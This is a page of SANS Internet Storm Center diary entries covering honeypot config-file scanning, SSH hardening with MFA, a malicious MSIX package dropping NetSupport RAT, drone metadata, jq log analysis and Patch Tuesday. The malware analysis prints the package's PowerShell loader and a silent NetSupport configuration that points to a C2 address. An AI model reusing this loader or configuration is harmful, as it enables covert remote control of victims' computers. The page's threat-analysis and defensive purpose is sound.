Diaries

Published: 2024-06-24

Configuration Scanners Adding Java Specific Configuration Files

Hunting for configuration files is one of the favorite tricks we typically see used against our honeypots. Traditionally, standard and more generic configuration files like ".env" or ".config" are the target, with some cloud-specific configuration files sprinkled in.

Today, I noticed in our "First Seen URL" list a new variation that appears to target Java Spring configuration files. For example, the following files are now being hunted:

  • /src/main/resources/application-core.yml
  • /src/main/resources/appsettings.yml
  • /src/main/resources/config.yml

One particular active source of these scans is %%ip:43.133.9.79%%. This IP address, associated with Tencent's cloud data centers, started scanning for configuration files a couple of days ago and uses a very exhaustive list. For example, see Sunday's data: https://isc.sans.edu/weblogs/sourcedetails.html?date=2024-06-23&ip=43.133.9.79

These lists should be included in vulnerability scanners to proactively scan for any of these URLs in case they are accidentally exposed.

More details about the Spring YAML configuration files can be found here. The file often includes the names of servers in different environments (development vs. production) and may sometimes include usernames and passwords. Oddly, for "application-core.yml", Google only finds one example exposed. But typically, Google would not find these files as they are not exposed via links. An accidentally exposed directory index is the most likely issue that would expose these files to search engines like Google.

Screen shot of three newly scanned Java specific configuration files.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-06-22

Sysinternals' Process Monitor Version 4 Released

Version 4.01 of Sysinternals' Process Monitor (procmon) was released (just one day after the release of version 4.0).

These releases bring improvements to performance and the user interface.

And a new event for the Process start was added.

This can now be displayed as a column:

And it can also be used as a filter, for example to filter out all process that started before the new process you want to analyze:

Didier Stevens
Senior handler
blog.DidierStevens.com

0 Comments

Published: 2024-06-20

No Excuses, Free Tools to Help Secure Authentication in Ubuntu Linux [Guest Diary]

[This is a Guest Diary by Owen Slubowski, an ISC intern as part of the SANS.edu BACS program]

Over the past 20 weeks I have had the privilege to take part in the SANS Internet Storm Center Internship. This has been an awesome chance to deploy and monitor a honeypot to explore what must be the fate of so many unsecured devices on the internet. Over the tenure here the one thing that was so shocking to me was not only the amount of devices that are conducting password attacks, but also the damage they could have done if their malware had been successful. Over the 20 weeks of this internship, I had more than 16,790 unique devices attempt to gain unauthorized access to my honeypot over SSH and Telnet from 49 different countries!


Figure1: DSheild SIEM graph displaying the different countries interacting with the honeypot

With the amount of threat actors out there it almost seems like a strong password policy isn’t enough on its own. And over the multitude of attack reports I wrote it always listed the same control that could have protected the system: MFA and filtering to protect the system. In my mind these solutions always imply a greater cost that is often outside of our reach as hobbyist and small organizations … Or are they?  Over the course of the next few pages, I look to discuss different technical controls I was first introduced to during the internship that can be applied to Ubuntu Linux at no cost and how they can help protect against these attempts to login by various threat actors.

All the testing done below will be done with 3 Linux boxes: Ubuntu-Secure (192.168.137.133) the server, Ubuntu-Client (192.168.137.135) the legitimate user, and Kali (192.168.137.134) the attacker.  Ubuntu-Secure has default SSH configurations and is easily guessed by the attacker using hydra and rockyou.txt in less than 2 minutes! 


Figure2: Demonstration of successful password guessing attack against ubuntu-client

TCP Wrappers 

One of the easiest ways to mitigate password attacks is to only allow legitimate IPs to access remote access protocols. This is usually done with either a host based firewall or a network firewall, but is there an easier and cheaper way? TCP Wrappers is a free tool that does just that. Like an ACL, TCP Wrapper allows us to specify what devices should and shouldn’t be allowed to access the service [1]! 


Figure3: The configurations added to host.allow  

Above we see our hosts.allow configuration file. In the first line we defined that the SSH service should allow access to 192.168.137.135 (Ubuntu-Client), and the second line functions as a default deny since there are no other legitimate users for this service[1]. Please note that the “All:DENY” statement can alternatively be placed in the host.deny file. There is functionally no difference between the two locations however I find placing both allow and deny statements in the hosts.allow makes for easier reading and troubleshooting. Below we can see that while Ubuntu-Client’s access is unencumbered, the attacker’s attempt has been completely blocked!


Figure4: Ubuntu-Client can successfully SSH to Ubuntu-Secure


Figure5: The attacker cannot connect!

Evidence of successful and refused connections can be found in /var/log/auth.log. This can be analyzed manually or ingested into a SIEM to assist in troubleshooting TCP wrapper rules, and to provide intelligence on adversaries attempting to access your device. Below we see an example log of Ubuntu-Client successfully connecting and evidence of the attacker Kali being refused.


Figure6: In green we see the successful connection and disconnect from Ubuntu-Client, and in red we see the blocked connection from the attacker Kali.

MFA for Ubuntu 

MFA is the most secure method of authentication hands down. Instead of opting for a pricey enterprise MFA solution like RSA or DUO in this section we will cover how to use Google authenticator to provide MFA for free! This is a super simple process:

First: install the Google authenticator with “sudo apt-get install libpam-google-authenticator”[2]


Figure7: Installation of Libpam-google-authenticator

Next use your favorite text editor edit the file /etc/pam.d/sshd and on line 2 add the text “auth required pam_google_authenticator.so”  to line 2 [2]. Then edit /etc/ssh/sshd_config and change the “ChallengeResponseAuthentication” to “yes” on line 63 [2].

Figure8: Addition to /etc/pam.d/sshd line 2 

Figure9: Edit to line 63 in the /etc/ssh/sshd_config file 

The final step is to run the command “google-authenticator” to finish setup [2]. This command will ask you five questions, and we answered them “yes, yes, yes, no, yes” as recommended by the Ubuntu.com tutorial [2]. There will also be a large QR code for you to scan to enroll the server into your Google authenticator app.


Figure10: The first lines of the google-authenticator command output with question 1


Figure11: The second half of the google-authenticator output with questions 2-5

Once enrolled restart the SSH service with “sudo systemctl restart sshd.service” then we are ready for a test! 

When attempting to log into Ubuntu-Secure we now see the first prompt of “verification code” which is found in our Google authentication app, and this code changes every 30 seconds. If our code was correct, then we will be prompted for our password and we are in!  


Figure12: Shows the new authentication workflow with Google authentication running 

While the ever-changing Google authenticator application is going to be near impossible to guess for an attacker, let’s run hydra against it for good measure. 


Figure13: The attacker can no longer brute force ubuntu-secure

After letting it run for a while, we can easily conclude that adding MFA thwarted this password guessing attack. 

Being in the IT and cybersecurity world it seems the costs of controls keeps going up and up. With all the new flashy tools coming out daily it’s easy to forget that there are tons of free tools that can be just as effective at stopping attacks. With limited time in our day to secure our personal infrastructure it’s refreshing to see how both these tools can be effectively deployed easily and quickly improve security! There truly is no excuse for unsecure authentication in 2024!

[1] https://ostechnix.com/restrict-access-linux-servers-using-tcp-wrappers/
[2] https://ubuntu.com/tutorials/configure-ssh-2fa#2-installing-and-configuring-required-packages
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

1 Comments

Published: 2024-06-19

Handling BOM MIME Files

A reader contacted me with an eml file (which turned out to be benign) that emldump.py could not parse correctly.

I've written several diary entries explaining how to analyse MIME/eml files with my emldump.py tool, back in the days when threat actors were discovering all kinds of obfuscation tricks that I tried to defeat in my emldump.py tool.

The output of emldump.py for a sample MIME/eml file looks like this:

You can see the multipart structure with different parts (4 in this sample).

When emldump.py can not parse a file properly, there is no multipart structure, just text:

I try options -f to filter out obfuscated lines and -F to fix obfuscated lines, but that does not help:

So I need to take a look at the file content to see what is going on. I do a hex/ascii dump of the start of the file with my cut-bytes.py tool:

I see that the file starts with EF BB BF. If I remember correctly, this is a Unicode Byte Order Mark (BOM, Unicode character U+FEFF ZERO WIDTH NO-BREAK SPACE) represented in UTF-8.

I confirm this with my tool file-magic.py:

So it looks like the cullprit is the BOM (which is not necessary neither recommended for UTF-8 files). Let's check by removing the first 3 bytes of the file:

And now emldump.py can parse the file correctly.

So I released a new version of emldump.py that uses the Python codec utf-8-sig in stead of the utf-8 codec. utf-8-sig behaves just like utf-8, except that it drops the BOM when present. Now emldump.py can handle files like these too:

 

Didier Stevens
Senior handler
blog.DidierStevens.com

0 Comments

Published: 2024-06-17

New NetSupport Campaign Delivered Through MSIX Packages

It's amazing to see how attackers reuse and combine known techniques to target their victims with new campaigns! Last week, I spotted some malicious MSIX packages on VT that drop a NetSupport[1] client preconfigured to phone home to an attacker's controlled manager. Remote support tools are really "cool" for attackers because they provide a perfect way to communicate with infected computers without the need to develop their own C2 infrastructure and protocol! If some are popular and often searched as evidence of compromise, like AnyDesk or TeamViewer), there are others, like NetSupport, that tend to remain below the radar. This one is available for free for 30 days (more than enough to launch a campaign) and provides all the expected features to interact with victims:

Let's have a look at one example of a malicious MSIX file: update_12_06_2024_5903695.msix (SHA256:e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4). The file has a very low detection score (4/69)[2]. The file contains all the components to download and install the NetSupport client:

# zipdump.py update_12_06_2024_5903695.msix 
Index Filename                                            Encrypted Timestamp           
    1 Registry.dat                                                0 2024-06-12 08:10:20 
    2 User.dat                                                    0 2024-06-12 08:10:20 
    3 Assets/logo.png                                             0 2024-06-12 08:10:20 
    4 config.json                                                 0 2024-06-12 08:10:20 
    5 fix.ps1                                                     0 2024-06-12 08:10:20 
    6 PsfLauncher32.exe                                           0 2024-06-12 08:10:20 
    7 PsfLauncher64.exe                                           0 2024-06-12 08:10:20 
    8 PsfRunDll32.exe                                             0 2024-06-12 08:10:20 
    9 PsfRunDll64.exe                                             0 2024-06-12 08:10:20 
   10 PsfRuntime32.dll                                            0 2024-06-12 08:10:20 
   11 PsfRuntime64.dll                                            0 2024-06-12 08:10:20 
   12 Resources.pri                                               0 2024-06-12 08:10:20 
   13 StartingScriptWrapper.ps1                                   0 2024-06-12 08:10:20 
   14 VFS/ProgramFilesX64/7z2404-extra/7za.dll                    0 2024-06-12 08:10:20 
   15 VFS/ProgramFilesX64/7z2404-extra/7za.exe                    0 2024-06-12 08:10:20 
   16 VFS/ProgramFilesX64/7z2404-extra/7zxa.dll                   0 2024-06-12 08:10:20 
   17 VFS/ProgramFilesX64/7z2404-extra/arm64/7-ZipFar.dll         0 2024-06-12 08:10:20 
   18 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.dll              0 2024-06-12 08:10:20 
   19 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.exe              0 2024-06-12 08:10:20 
   20 VFS/ProgramFilesX64/7z2404-extra/arm64/7zxa.dll             0 2024-06-12 08:10:20 
   21 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.hlf           0 2024-06-12 08:10:20 
   22 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.lng           0 2024-06-12 08:10:20 
   23 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar.dll           0 2024-06-12 08:10:20 
   24 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar64.dll         0 2024-06-12 08:10:20 
   25 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.hlf           0 2024-06-12 08:10:20 
   26 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.lng           0 2024-06-12 08:10:20 
   27 VFS/ProgramFilesX64/7z2404-extra/Far/7zToFar.ini            0 2024-06-12 08:10:20 
   28 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.reg              0 2024-06-12 08:10:20 
   29 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.txt              0 2024-06-12 08:10:20 
   30 VFS/ProgramFilesX64/7z2404-extra/history.txt                0 2024-06-12 08:10:20 
   31 VFS/ProgramFilesX64/7z2404-extra/License.txt                0 2024-06-12 08:10:20 
   32 VFS/ProgramFilesX64/7z2404-extra/readme.txt                 0 2024-06-12 08:10:20 
   33 VFS/ProgramFilesX64/7z2404-extra/x64/7za.dll                0 2024-06-12 08:10:20 
   34 VFS/ProgramFilesX64/7z2404-extra/x64/7za.exe                0 2024-06-12 08:10:20 
   35 VFS/ProgramFilesX64/7z2404-extra/x64/7zxa.dll               0 2024-06-12 08:10:20 
   36 VFS/ProgramFilesX64/client2.7z                              0 2024-06-12 08:10:20 
   37 VFS/ProgramFilesX64/PsfRunDll64.exe                         0 2024-06-12 08:10:20 
   38 AppxManifest.xml                                            0 2024-06-12 08:10:20 
   39 AppxBlockMap.xml                                            0 2024-06-12 08:10:20 
   40 [Content_Types].xml                                         0 2024-06-12 08:10:20 
   41 AppxMetadata/CodeIntegrity.cat                              0 2024-06-12 08:10:20 
   42 AppxSignature.p7x                                           0 2024-06-12 08:10:48 

You can see that a portable 7zip version is included in the file. It will be used to unpack the NetSupport client stored in the client2.7z file. Everything will happen in fix.ps1:

# zipdump.py update_12_06_2024_5903695.msix -s 5 -d
$url = "https://www.google.com/intl/en_en/chrome/"
Start-Process $url

$domain = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain

if ($domain -eq "WORKGROUP") {
} else {
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public\Documents\Client -p88888888"
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e C:\Users\Public\Documents\Client\client1.7z -oC:\Users\Public\Documents\Client -p88888888"
    $path = "C:\Users\Public\Documents\Client\client32.exe"
    Start-Process $path
}

First, the script will open a browser and display the Chrome download page to defeat the victim. Then, the script will verify if the computer is part of a Microsoft domain (read: a corporate computer). If not, the client won't be installed. 

The NetSupport client is double-compressed in client2.7z then client1.7z:

# 7z l client1.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz (906ED),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1510337 bytes (1475 KiB)

Listing archive: client1.7z

--
Path = client1.7z
Type = 7z
Physical Size = 1510337
Headers Size = 545
Method = LZMA2:6m BCJ 7zAES
Solid = +
Blocks = 2

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-06-12 10:47:36 D....            0            0  client
2024-06-12 08:07:49 ....A          652          960  client/client32.ini
2007-07-06 13:07:32 ....A          328               client/nskbfltr.inf
2024-06-12 10:49:40 ....A         1369               client/NSM.LIC
2010-04-27 05:26:38 ....A           46               client/nsm_vpro.ini
2016-12-07 00:03:12 ....A        93560      1508832  client/AudioCapture.dll
2024-06-12 10:48:13 ....A        55459               client/client32.exe
2016-04-26 20:55:34 ....A       328056               client/HTCTL32.DLL
2015-04-24 17:27:28 ....A       773968               client/msvcr100.dll
2016-04-26 20:59:04 ....A        33144               client/pcicapi.dll
2016-04-26 20:59:10 ....A        18808               client/PCICHEK.DLL
2023-06-11 18:51:36 ....A      3710280               client/PCICL32.DLL
2023-06-13 13:01:09 ....A        63320               client/remcmdstub.exe
2023-06-13 13:35:38 ....A       391832               client/TCCTL32.DLL
------------------- ----- ------------ ------------  ------------------------
2024-06-12 10:49:40            5470822      1509792  13 files, 1 folders

The client32.ini discloses the IP address of the NetSupport Manager (the C2):

# cat client/client32.ini 
0x1c42f29c

[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableDisconnect=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
Protocols=3
Shared=1
silent=1
SKMode=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=0
Usernames=*
ValidAddresses.TCP=*

[_Info]
Filename=C:\Users\Public\Pictures\client32u.ini

[_License]
quiet=1

[Audio]
DisableAudioFilter=1

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=38[.]135[.]52[.]140:443
GSK=GK;OAKDA9C<I?PBGFF9F>D@KHF:J<P
SecondaryGateway=
SecondaryPort=443

[TCPIP]
MulticastListenAddress=

The C2 server (down at this time) is 38[.]135[.]52[.]140 and uses HTTPS. GSK is the shared key used to encrypt communications.

Note the first line (the hex value): It's a checksum of the configuration file. Any change in the file will make it unusable. But, NetSupport has a great support tool called cksini.exe that helps to generate the checksum of a manually edited configuration file:

C:\Temp>cksini
Generate checksum for .INI file
Checksum is: 0xfbaa0e3e
Output is in file: client32.ini

Malicious MSIX files are not new[3], NetSupport has already been heavily used by attackers in the past[4]  but they remain a very good combination to compromise more victims and... at a very low cost for attackers!

[1] https://www.netsupportmanager.com
[2] https://www.virustotal.com/gui/file/e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4
[3] https://isc.sans.edu/diary/Redline+Dropped+Through+MSIX+Package/30404
[4] https://isc.sans.edu/diary/sczriptzzbn+inject+pushes+malware+for+NetSupport+RAT/29170

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2024-06-16

Video Meta Data: DJI Drones

Many years ago, I wrote about the EXIF data in pictures taken with Smartphones. Smartphones often record extensive meta data, including GPS and accelerometer data.

So I wondered how much similar data can be found in footage collected with a drone. As an example, I am using a DJI Mini Pro 4 drone. This is a very common and popular drone, and I have footage available.

The drone has the ability to record video as well as still photos. For the still photos, typically saved in JPG format, the data looks like what you expect from a smartphone. It includes camera parameters, date, time, and GPS coordinates (oddly, the height was VERY wrong in my sample if I used the "exists" tools, but inspecting it with a homemade tool, it looks better. Likely just an encoding issue)

Here is the complete EXIF data from a sample image

Tag Value
exiftags invalid field offset (Make)
exiftags maker note not supported
Camera-Specific Properties  
Camera Model FC8482
Camera Software 10.08.04.08
Maximum Lens Aperture f/1.7
Focal Length (35mm Equiv) 24 mm
Image-Specific Properties  
Image Orientation Top, Left-Hand
Horizontal Resolution 72 dpi
Vertical Resolution 72 dpi
Image Created 2024:03:20 11:43:03
Exposure Time 1/2500 sec
F-Number f/1.7
Exposure Program Normal Program
ISO Speed Rating 100
Lens Aperture f/1.7
Exposure Bias 0 EV
Subject Distance 0.00 m
Metering Mode Average
Light Source Daylight
Flash No Flash
Focal Length 6.72 mm
Color Space Information sRGB
Image Width 4032
Image Height 2268
Rendering Normal
Exposure Mode Auto
White Balance Auto
Scene Capture Type Standard
Gain Control None
Contrast Normal
Saturation Normal
Sharpness Normal
Latitude N [redacted]
Longitude W [redcated]
Altitude 4294927.26 m 
GPS Status Measurement In Progress
Geodetic Survey Data WGS-84

The coordinates are the coordinates of the drone, not the coordinates of the operator. The serial number of the drone is not displayed. Note that the serial number uses an "Unknown" exif tag and is only displayed with the -u option in exiftags

"Unknown Tags"

Attribute Value
Title default
GPS Info IFD Pointer 746
Unknown 972
Unknown 1100
Unknown 2
Manufacturer Notes 890
Supported FlashPix Version 808464688
Interoperability IFD Pointer 860
Device Settings 0
Unknown 6TVQL[redacted serial number]
Unknown 24
Unknown DJI FC8482
Unknown R98
Unknown 808464688

Some of the "Unknown" data may be sensitive, but I have not redacted it so far. Let me know if I should :)

The video data is a bit more complex. DJI saves 3 different files:

  • MP4 File: This is the main, full resolution video file
  • LRF File: Lower resolution video file
  • SRT File: A file with GPS coordinates in "Subtitle" format (more below)

Users sharing a file are most likely going to share the MP4 file. Like the JPEG, some metadata is embedded in the MP4 data stream. It is less verbose than the JPEG data, but it does include the drone's serial number. I did not find GPS data in the MP4 metadata. Just information about the camera and firmware.

hex dump of mp4 file

The SRT file contains some basic GPS data for each "time slice". In this format, it can easily be overlayed to the video file.

00:00:00,033 --> 00:00:00,066
<font size="28">FrameCnt: 2, DiffTime: 33ms
2024-03-20 12:59:17.852
[iso: 400] [shutter: 1/320.0] [fnum: 1.7] [ev: 2.0] [color_md: default] [focal_len: 36.30] [latitude: 30.xxxxxx] [longitude: -81.xxxxxx] [rel_alt: 6.500 abs_\
alt: -32.309] [ct: 5695] </font>

Again, only the drone's GPS data is saved, not the operator's location. It has been well documented that DJI includes the operator (or better controller) location in the datastream sent to the drone, in part to comply with regulations in some locales [1]. An image file doesn't necessarily give it away.

[1] https://www.wired.com/story/dji-droneid-operator-location-hacker-tool/

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-06-15

Overview of My Tools That Handle JSON Data

I wrote a couple of diary entries showing my tools that produce and consume JSON data. Like "Analyzing PDF Streams", "Another PDF Streams Example: Extracting JPEGs" and "Analyzing MSG Files".

The tools than can produce MyJSON output (option –jsonoutput) to stdout are:

The tools than can accept MyJSON input (option –jsoninput) from stdin are:

The tools than only accept MyJSON input from stdin are:

And if you want to write your own program that can process MyJSON data, my Python program template for binary files process-binary-files.py also supports this format.

Didier Stevens
Senior handler
blog.DidierStevens.com

1 Comments

Published: 2024-06-13

The Art of JQ and Command-line Fu [Guest Diary]

[This is a Guest Diary by Kaela Reed, an ISC intern as part of the SANS.edu BACS program]

Viewing logs from a command-line can make it difficult to extract meaningful data if you’re unfamiliar with the utilities. While there is a learning curve to working with command-line utilities to sort through logs, they are efficient, flexible, and easy to incorporate into scripts. Using tools like jq, cut, sort, and wc, we can extract details from logs to gather statistics and help us build context from attacks.

What is JSON?

JavaScript Object Notation (JSON) is a log format that is a lightweight and structured data-interchange format [1]. JSON is a common format used for logs and APIs because it’s easy for machines to parse. The simple structure also makes it easy for humans to read, especially when used in conjunction with a utility called jq (JSON Query), which we will revisit after we cover the basics of JSON.

Objects

JSON uses curly braces to hold “objects,” which contain unordered key/value pairs [2]. A key/value pair is separated by a colon and each key/value pair is separated by a comma. You might recognize this format if you’ve ever decoded a JWT (JSON Web Token):
{
  "alg": "HS256",
  "typ": "JWT"
}

Arrays

JSON also uses ordered lists called “arrays” which can be contained within objects:
{
"method": "POST",
"url": "/aws/credentials",
“useragent”: [
 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"                                             
]
}

JQ to the Rescue

The jq tool is a free, open-source JSON processor written in portable C programming and has no runtime dependencies. It’s easy to parse and filter through JSON logs with jq and it’s already packaged in major distributions of Linux, but you can also download it [3].

Extracting Data from Logs

If we read a JSON file using the cat utility in Linux, it can be difficult to sort through the information:

This is where jq comes in handy! Using jq, we can interact with the data from JSON logs in a meaningful way. 
To read a JSON log with jq, we can either cat the file and pipe it through jq, or use the command:
jq . <filename>

Using jq with JSON logs makes it easier for the reader to sort through the data. However, simply printing the log to the screen isn’t enough to extract meaningful information when you’re dealing with large log files and thousands or more records to sort through.

Finding Keys

Recall that JSON consists of key/value pairs. We can list all the keys in a JSON file to help us extract specific information later:
cat logs/web/webhoneypot-2024-04-20.json | jq 'keys'

Source IPs

There’s a key named “sip” which stores source IP addresses. We can filter data by using dot notation with .<field name> [4]. To extract the source IPs from the JSON file, we can use .sip. Let’s look at all the source IPs in the log file by using jq, then pipe it to sort and remove the quotation marks in the output:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq '.sip' | sort -u | tr -d "\""

Even better, we could use jq -r for raw output instead of using the tr utility to get rid of the quotation marks.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u

Piping the previous command to wc -l, we can count how many lines there are, which will also tell us how many source IP addresses we have:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u | wc -l

Extracting URIs

URIs are stored in the field name "url." The following command will print every URI in the log on separate lines:
cat logs/web/webhoneypot-2024-04-20.json | jq '.url'

Piping the previous command to wc -l, we can count the number of URIs, which is 105,218. That’s a lot! 

However, if we pipe the jq command to sort, we will see there are duplicate values. Many of the same URIs were visited multiple times and from multiple IP addresses.

To extract a list of unique URIs and get rid of the duplicates, we can follow the same method in the last example by sorting the URIs, but pipe the command through sort or uniq.

We have 510 unique URIs visited!

Extracting Multiple Elements

We can also extract multiple elements and separate them into objects:
cat logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | {time, sip, url}' > dirb-attack.json

Alternative Ways with Arrays

Why did the programmer quit his job?

Because he didn’t get arrays!

In JSON, we can convert fields into different data types. In the last example, we extracted multiple elements and placed them into objects. We could also extract multiple elements and convert them to arrays: 
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]'

With arrays, we can access the data with an index number. If we want to look at the 3rd element, which consists of URIs, we can reference the index value. With indexing, the first element starts at 0, so if we want to look at the 3rd element, we need to use an index of 2. We can then pipe that to sort -u to sort unique URIs alphabetically:

cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]' | jq -r .[2] | sort -u

We can also grab only the URIs, join each one with a new line, sort and count how many unique URIs there are:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.url] | join("\n")' | sort -u | wc -l

Converting to CSV Format

We can take different fields from JSON and convert that data into a CSV format [5]. Let’s take the "time", "sip" and "url" fields, then convert the data to a CSV and open it in a spreadsheet editor.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.time,.sip,.url] | @csv' > attack.csv

What is Directory Busting?

In the following example, we’re going to extract useful information from a directory busting attack that came from one specific IP address, but first, what is directory busting?

Directory Busting (Forced Browsing) is a technique used to discover hidden webpages and files on a webserver [6]. This can be done manually by sending HTTP requests to the server requesting common page names and files, however, this is often performed with automated tools and scripts. Automation allows for hundreds or thousands of requests to different URIs in a short period of time. The goal of this kind of attack is to discover sensitive information, map the attack surface, and identify interesting pages (like administrative login pages) that could contain vulnerabilities.

Finding How Many Unique URIs an Attacker Probed

Let’s first look at all entries from the attacker’s IP and send that the output to a separate JSON file:

cat webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148")’ > ip_75.101.186.148.json

If we want to make sure this worked, we can list all the source IPs in the new file we created to make sure the logs are only from the attacker IP address 75.101.186.148:
cat ip_75.101.186.148.json | jq -r '.sip' | sort -u

Perfect! The new file only contains logs from the source IP of 75.101.186.148. If we use the wc utility, we see there are 104,196 entries from that one IP!

Looking at the time stamps, these attacks occurred in a very short amount of time (roughly 5 minutes). This is typical in an automated attack like directory busting.
Let’s pipe the URIs through sort, then count how many different URIs were probed by this attacker:
cat ip_75.101.186.148.json | jq '.url' | sort -u | wc -l

The attacker IP 75.101.186.148 probed 452 unique URIs on the webserver. Looking at the Internet Storm Center’s Report on the attacker IP, that is an accurate number [7]. Although directory busting attacks can be accomplished with brute-force techniques, these are usually accomplished as dictionary attacks. The threat actor has been reported multiple times and has probed the same number of unique URLs each time, so the attacker is likely using the same wordlist to perform the directory busting attack:

The previous commands in the directory busting scenario were run separately, but could have been performed with one command to achieve the same result:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | (.url)' | sort -u | wc -l

Conclusion

These examples weren’t the only ways we could’ve arrived with the same outcome. This is the wonderful thing about using command-line fu! There isn’t just ONE way to reach the same answer and that’s part of what can make log analysis within the command-line fun! We’ve merely scratched the surface with jq, but there is a website you can go to paste JSON data and practice with jq, called JQ Play [8]. 

Keep practicing the art of command-line fu, grasshopper!

Cheat Sheet

[1] JSON.org. “Introducing JSON.” Json.org, www.json.org/json-en.html. Accessed 28 May 2024.
[2] w3schools. “JSON Syntax.” W3schools.com, 2019, www.w3schools.com/js/js_json_syntax.asp. Accessed 28 May 2024.
[3] jqlang.io. “Download jq,” jqlang.github.io. https://jqlang.github.io/jq/download. Accessed May 28, 2024).
[4] “How to Use JQ to Process JSON on the Command Line.” Linode Guides & Tutorials, 5 Nov. 2021, www.linode.com/docs/guides/using-jq-to-process-json-on-the-command-line/. Accessed 28 May 2024.
[5] Ramanujam, Sriram. “How to Convert JSON to CSV in Linux.” Baeldung, 13 Dec. 2023, www.baeldung.com/linux/json-csv. Accessed 28 May 2024.
[6] OWASP. “Forced Browsing.” Owasp.org, owasp.org/www-community/attacks/Forced_browsing. Accessed 28 May 2024.
[7] Internet Storm Center. “IP Info: 75.101.186.148.” SANS Internet Storm Center, https://isc.sans.edu/ipinfo/75.101.186.148. Accessed 28 May 2024.
[8] jqlay. “Jq Play.” Jqplay.org, jqplay.org. Accessed 28 May 2024.
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-06-12

Port 1801 Traffic: Microsoft Message Queue

I planned a bit a more conclusive story here, but after running into issues decoding the packets and running out of time between looking at student papers, I figured I would leave it up to the audience ;-) Maybe someone here better understands the Microsoft Message Queue (MSMQ) protocol.

Yesterday's Microsoft patch Tuesday included a single critical vulnerability, a code execution vulnerability in MSMQ. I noted in the podcast that we see some "background hum" on port 1801, the port used by MSMQ.

port 1801 traffic

So I fired up some netcat listeners on port 1801, and after a short wait, this is what I got:

(this is the TCP payload. I removed IP and TCP header)

0000   10 c0 0b 00 4c 49 4f 52 3c 02 00 00 ff ff ff ff   ....LIOR<.......
0010   00 00 02 00 d1 58 73 55 50 91 95 95 49 97 b6 e6   .....XsUP...I...
0020   11 ea 26 c6 07 89 cd 43 4c 39 11 8f 44 45 90 78   ..&....CL9..DE.x
0030   90 9e a0 fc 4e ca de 1d 10 03 00 00 00 00 00 00   ....N...........

 

The entire payload had 572 bytes, but I removed the trailing 0-bytes.

Any idea? The bit of decoding I did so far suggests that this is MSMQ, and likely just checking if I am running a MSMQ server. What response should I return?

 

thanks!
 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2024-06-11

Microsoft Patch Tuesday June 2024

Microsoft's June 2024 update fixes a total of 58 vulnerabilities. 7 of these vulnerabilities are associated with Chromium and Microsoft's Brave browser. Only one vulnerability is rated critical. One of the vulnerabilities had been disclosed before today.

Vulnerabilities of Interest:

CVE-2023-50868 NSEC closest enclosed proof can exhaust CPU: This issue became public in February. It affects not only Microsoft's DNS implementations but several other DNS servers. The vulnerability was made public by researchers from several German universities and research labs. They called it "KEYTRAP" and released a paper with details [1]

CVE-2024-30080 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability: MSMQ is the service that keeps on giving. The tricky part with MSMQ is that third party software often uses it. MSMQ usually listens on port %%port:1801%%/TCP. We do see a good amount of "background hum" on port 1801, and I do not see a good reason to expose it to the internet. 

 

[1] https://www.athene-center.de/en/keytrap

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
